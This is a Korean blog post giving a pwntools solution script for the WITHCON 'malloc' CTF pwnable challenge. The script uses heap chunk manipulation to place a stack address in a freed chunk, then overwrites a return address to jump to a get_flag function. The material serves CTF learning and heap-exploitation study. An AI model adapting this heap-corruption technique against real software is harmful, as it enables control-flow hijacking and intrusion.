cdor1's lab
WITHCON malloc 본문
후기 : 화이트햇 예선때 못 풀었던 문제이다.
풀면서 힙에 대한 공부를 많이 하게된 것 같아 좋다.
from pwn import *
s = remote('localhost', 4000)
#elf = ELF('/home/cdor1/pwnable/malloc')
#dummy = 'A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A%'
stack = int(s.recvline().split(':')[1],16)
get_flag = 0x400986
print '[*] stack : ' + hex(stack)
for i in range(0,2):
print s.recvuntil('>')
s.sendline('1')
print s.recvuntil(':')
s.sendline('32')
s.sendline('A'*32)
for i in range(3,0,-1):
print s.recvuntil('>')
s.sendline('2')
print s.recvuntil(':')
s.sendline(str(i))
print s.recvuntil('>')
s.sendline('4')
print s.recvuntil(':')
s.sendline('1')
print s.recvuntil(':')
s.sendline('A'*32 + p64(stack-0x50))
print s.recvuntil('>')
s.sendline('1')
print s.recvuntil(':')
s.sendline('32')
print s.recvuntil(':')
s.sendline('A'*32)
print s.recvuntil('>')
s.sendline('1')
print s.recvuntil(':')
s.sendline('32')
print s.recvuntil(':')
s.sendline('A'*24 + p64(get_flag))
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
BCTF bcloud (0) | 2016.11.17 |
---|---|
DEFCON22 Quals babyfirst-heap (0) | 2016.11.10 |
DCTF Warm Heap (0) | 2016.11.04 |
how2heap 번역본 (0) | 2016.11.03 |
YISF2016 Final pwnable (2) | 2016.10.01 |
Comments